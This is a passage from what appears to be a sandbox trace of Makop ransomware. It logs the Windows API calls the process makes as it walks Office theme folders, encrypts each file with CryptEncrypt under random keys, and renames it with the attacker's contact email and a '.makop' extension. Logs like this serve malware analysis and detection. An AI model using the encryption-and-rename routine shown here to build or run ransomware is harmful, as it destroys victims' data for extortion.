returned 0x48bdf90 [0098.250] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.250] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.250] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0098.253] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.253] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.254] GetProcessHeap () returned 0x48a0000 [0098.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.254] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.254] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.254] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.254] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.381] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.381] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.382] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.382] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.382] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.382] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.382] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x249, lpOverlapped=0x0) returned 1 [0098.383] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x250) returned 1 [0098.383] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.383] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x250, lpOverlapped=0x0) returned 1 [0098.383] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.383] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.383] SetEndOfFile (hFile=0x138) returned 1 [0098.389] GetProcessHeap () returned 0x48a0000 [0098.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.389] GetProcessHeap () returned 0x48a0000 [0098.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.390] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.650] CloseHandle (hObject=0x138) returned 1 [0098.650] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.650] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0098.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.651] GetProcessHeap () returned 0x48a0000 [0098.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.651] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.652] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.652] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0098.657] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.657] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.657] GetProcessHeap () returned 0x48a0000 [0098.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.657] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.657] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.657] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.658] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.658] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.658] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.658] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.659] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.659] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.659] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x554, lpOverlapped=0x0) returned 1 [0098.659] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x560, dwBufLen=0x560 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x560) returned 1 [0098.659] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.659] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x560, lpOverlapped=0x0) returned 1 [0098.659] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.659] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.660] SetEndOfFile (hFile=0x138) returned 1 [0098.666] GetProcessHeap () returned 0x48a0000 [0098.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.666] GetProcessHeap () returned 0x48a0000 [0098.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.666] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.669] CloseHandle (hObject=0x138) returned 1 [0098.670] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.670] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0098.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.670] GetProcessHeap () returned 0x48a0000 [0098.670] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.670] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.671] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.671] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0098.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.675] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.675] GetProcessHeap () returned 0x48a0000 [0098.675] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.675] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.675] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.675] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.676] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.676] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.676] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.676] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.676] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.676] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.676] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.676] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.677] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2d35, lpOverlapped=0x0) returned 1 [0098.678] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d40) returned 1 [0098.678] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.678] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2d40, lpOverlapped=0x0) returned 1 [0098.679] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.679] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.679] SetEndOfFile (hFile=0x138) returned 1 [0098.686] GetProcessHeap () returned 0x48a0000 [0098.686] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.686] GetProcessHeap () returned 0x48a0000 [0098.686] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.686] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0098.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.687] CloseHandle (hObject=0x138) returned 1 [0098.688] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.688] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.688] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0098.689] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS") returned 63 [0098.689] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*") returned 67 [0098.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.690] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.691] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0098.691] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM") returned 75 [0098.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.691] GetProcessHeap () returned 0x48a0000 [0098.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.691] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.692] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0098.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.696] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.696] GetProcessHeap () returned 0x48a0000 [0098.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.696] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.696] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.696] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.697] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.697] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.697] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.697] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.697] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.698] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.698] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.698] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x166d5, lpOverlapped=0x0) returned 1 [0098.701] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, 